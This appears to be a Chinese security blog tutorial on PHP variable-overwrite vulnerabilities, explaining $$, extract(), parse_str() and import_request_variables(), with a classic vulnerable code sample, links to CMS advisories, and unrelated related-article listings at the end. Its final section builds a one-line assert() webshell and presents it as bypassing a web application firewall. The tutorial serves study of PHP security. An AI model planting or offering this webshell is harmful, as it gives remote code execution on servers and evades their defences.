一、发生条件:

函数使用不当($$、extract()、parse_str()、import_request_variables()等)

开启全局变量

二、基础了解:

1.$$定义

$$代表可变变量,就是说,一个变量的变量名可以动态的设置和使用。

举个简单例子:



变量a被定义成了字符串hello 而变量$a被定于成了字符串world!

但同时$a本身也是个变量

$$a就可以代表两个含义$($a)和$(hello) 两个变量

此时输出的结果如图:

2.extract()定义

extract()可以从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值

语法结构:extract(array,extract_rules,prefix)

i.array为必选参数(此参数必须为数组型数据)

ii.extract_rules为可选参数,可选的值有:

● EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。

● EXTR_SKIP - 如果有冲突,不覆盖已有的变量。

● EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。

● EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。

● EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。

● EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。

● EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。

● EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。

iii.prefix为可选参数(此参数暂不解释)

举个例子:



在开头我们定义了一个数组d

然后我们使用extract()函数并将array参数填写为数组d

此时数组d中的键名将当做新的变量名来创建一个新的变量,而新的变量的值即为在数组中对应的值。(注意如果之前有声明过同一个变量,那么该变量将被覆盖。如果之后才声明将不会出现变量覆盖的现象)

此时输出结果为:



可以看到我们之前并未声明过a、b、c变量,但是仍可输出。

3.parse_str()定义:

把查询字符串解析到变量中

语法:parse_str(string,array)

string为必选参数

array为可选参数

举个例子



可以看到此函数将name和age初始化成了变量,且值为等号右边的值

当array参数存在时:



4.import_request_varibles()定义

将 GET/POST/Cookie 变量导入到全局作用域中

此函数相当于开启全局变量注册

语法import_request_variables(string $types ,string $prefix )

第一个参数为必选

第二个参数为可选

例子:

import_request_variables("GPC")

使用此方法即可开启对_POST、_GET、_COOKIE的全局变量注册

当第二个参数存在时将会加上一个前缀

三、经典案例

1.经典$$变量覆盖

foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}

这是一段非常经典的$$注册变量导致的变量覆盖代码,很多应用上都出现过

可以看出$_key为COOKIE POST GET中的参数

比如提交?a=1 则$_key的值为a

而下面的$$_key则会有$a的意思,结合起来就变成了$a = addslashes($_value)

这样便会覆盖原有的变量a的值

我们来运行一下:



可以看到变量a被我们覆盖掉了

2.部分cms变量覆盖案例:

MetInfo全局变量覆盖另类突破防注入

http://www.weixianmanbu.com/article/84.html

齐博CMS变量覆盖导致sql注入漏洞

http://bobao.360.cn/learning/detail/291.html

Destoon 20140530最新版超全局变量覆盖导致的安全问题

http://0day5.com/archives/1855/

四、变量覆盖玩出新花样之一句话木马bypass某狗

经过我们简单的测试,我们可以了解到:当我们使用assert函数时,如果函数的参数是可控,那么某狗拦截。例如:assert($_POST[a])或者$a=$_POST[c];assert($a)这些都是拦截

但是如果我们只有assert($a)这一句时,我们发现他就不会进行拦截了



这就值得我们思考了,为什么这样不会拦截呢?

我认为应该是某狗觉得这个变量a是不可控的,所以就认为这不是木马

那如果这时我们在联系一下变量覆盖漏洞呢?

在这里我选用了上面的案例代码

foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}

把addslashes()删掉 然后把代码精简下

foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}}

最终代码为

<?php foreach(array('_POST') as $_r){foreach($$_r as $_k => $_v) {$$_k = $_v;}};assert($a);?>

成功bypass

变量覆盖漏洞学习及在webshell中的运用的更多相关文章

  1. 7. 由一道ctf学习变量覆盖漏洞

    0×00 背景 近期在研究学习变量覆盖漏洞的问题,于是就把之前学习的和近期看到的CTF题目中有关变量覆盖的题目结合下进一步研究. 通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导 ...

  2. Web安全之变量覆盖漏洞

    通常将可以用自定义的参数值替换原有变量值的情况称为变量覆盖漏洞.经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_reques ...

  3. ctf变量覆盖漏洞:

    1.变量覆盖: ①:针对extract函数的变量覆盖漏洞: <?php @error_reporting(E_ALL^E_NOTICE); require('config.php'); if($ ...

  4. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  5. php之变量覆盖漏洞讲解

    1.变量没有初始化的问题(1): wooyun连接1:[link href="WooYun: PHPCMS V9 member表内容随意修改漏洞"]tenzy[/link] $up ...

  6. 代码审计-MetInfo CMS变量覆盖漏洞

    0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...

  7. 2020/2/1 PHP代码审计之变量覆盖漏洞

    0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...

  8. PHP变量覆盖漏洞小结

    前言 变量覆盖漏洞是需要我们需要值得注意的一个漏洞,下面就对变量覆盖漏洞进行一个小总结. 变量覆盖概述 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,通常需要结合程序的其他功能来实现完整 ...

  9. PHP变量覆盖漏洞整理

    昨天群里HW的大佬们都在传某某服终端检测响应平台edr存在大量RCE的洞 官网上关于EDR的介绍是这么写的 终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防.防御.检测.响应赋予终端更为细致 ...

随机推荐

  1. Spyder docstrings文档字符串的标准

    Spyder docstrings文档字符串的规范 python的docstring 非常重要. 有时候编写一个小函数只需要几行代码就可了. 但是完善的文档很可能比源代码长许多. 特点和标准 docs ...

  2. VBS 重启 TP-Link 路由器

    分享一个自己用的小工具,重启TP-Link路由器的,好像还是大学时候写的,献丑了. 其他路由器可能有些不同,但是思路都是差不多的. user = "admin" '路由器帐号 pa ...

  3. 双11怎么那么强!之二:浅析淘宝网络通信库tbnet的实现

    最近开始看Tair的源码实现,Tair的通信使用的是淘宝的开源的网络库tbnet实现.具体来说是依靠tbnet::Transport类型实现,其源代码路径如下:http://code.taobao.o ...

  4. 开启session

    在index.php中开启 session_start();

  5. HDU 1556 Color the ball (树状数组 区间更新+单点查询)

    题目链接 Problem Description N个气球排成一排,从左到右依次编号为1,2,3....N.每次给定2个整数a b(a <= b),lele便为骑上他的"小飞鸽&quo ...

  6. node的导入导出

    node的每一个文件,都是一个域,那么里面所有的变量都不允许被外界引用,除非导出.要使用外界的变量,也必须使用导入的方式来导入.import 文件路径. css可以直接使用import +文件路径导入 ...

  7. mysql条件查询中AND与OR联合使用的注意事项!

    mysql查询中经常会用到AND与OR一起使用的情况,可如果写法不对,往往会起到相反的效果,这不,前几天就碰到了,最后测试果然提了一堆bug!!!! 废话就不多说了,主要总结一下几点: 一 当mysq ...

  8. 从Python到Web开发

    基础部分: 1-编程基础及Python环境部署 2-Python基础语法-内存管理-运算符-程序控制 3-Python内置结构-列表 4-Python数据类型之元组-字符串 5-python的封装与结 ...

  9. 渗透测试===使用BURPSUIT暴力破解某网站的手机验证码

      手机短信验证是企业给消费者(用户)的一个凭证,通过手机短信内容的验证码来验证身份.主要用来用户注册,找回密码,用户登录等等作为强身份认证. 目前验证码的格式主要是数字,从4位到6位不等.一般来说验 ...

  10. git summary

    Git 使用经验 缘起 一直想写一篇博文,记录我在使用git时遇到的问题以及解决办法.由于项目忙,偶尔的记录不连续,不成系统.今天有时间记录下来,方便自己以后查看. git 简介及其优势 简单来说,g ...